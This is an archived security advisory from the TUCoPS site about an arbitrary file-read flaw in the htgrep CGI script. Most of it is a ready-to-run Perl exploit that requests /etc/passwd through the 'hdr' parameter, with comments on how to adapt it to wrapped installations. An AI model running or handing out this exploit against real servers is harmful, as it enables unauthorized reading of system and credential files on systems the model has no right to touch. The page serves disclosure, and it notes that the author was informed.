Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Web :: Apps :: htgrep1.htm

Htgrep retrieve arbitrary files



    Htgrep CGI


    'n30' found following.  Any  remote user can view arbitrary  files
    on the  system with  the privileges  of the  web user with htgrep.
    The CGI allows a  user to specify a  header and footer file  to be
    appended to  the search  output, this  file should  be located  in
    the wwwroot which is specified in the script itself.  Any  attempt
    to specify a  header or footer  file by using  backwards directory
    referencing is trapped.  Although it is possible to specify a file
    using an absolute path.


    The  File  /etc/passwd  will  be  displayed instead of the default
    header file.  Code:

    # Htgrep EXPLOIT Script by n30 17/8/2000
    # For: Unix/Linux all Distro's
    #      maybe Winnt?? anyone??
    # Versions: All upto latest: htgrep v3.0
    # Info: to find the version number being used:
    # Some ppl use a wrapper for the script thusly
    # eliminating the file argument, the sploit will
    # still werk just add &hdr=<filename> to the end :-)
    # if &isindex=<text> is present in the URL REMOVE IT!!!
    # or else the exploit won't werk :-)
    # Mail :
    use strict;
    use LWP::UserAgent;
    use HTTP::Request;
    use HTTP::Response;
    my $ua = new LWP::UserAgent;
    # *************************************************
    my $TargetHost="";
    my $TargetPath="/cgibin/htgrep";
    # SearchFile can commonly be index.html or some other file in the wwwroot
    my $SearchFile="index.html";
    # FiletoGet ?? think for ur self:
    my $FiletoGet="/etc/passwd";
    # **************************************************
    my $url="http://".$TargetHost.$TargetPath."/file=$SearchFile&hdr=$FiletoGet";
     print("\nHtgrep Arbitrary File Reading Vulnerability EXPLOIT /n30\n\n");
     print("URL: $url\n\n");
     my $request = new HTTP::Request('GET', $url);
     my $response = $ua->request($request);
     if ($response->is_success) {
          print $response->content;
     } else {
          print $response->error_as_HTML;


    The author has been notified, it is likely that an update will  be
    available shortly.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH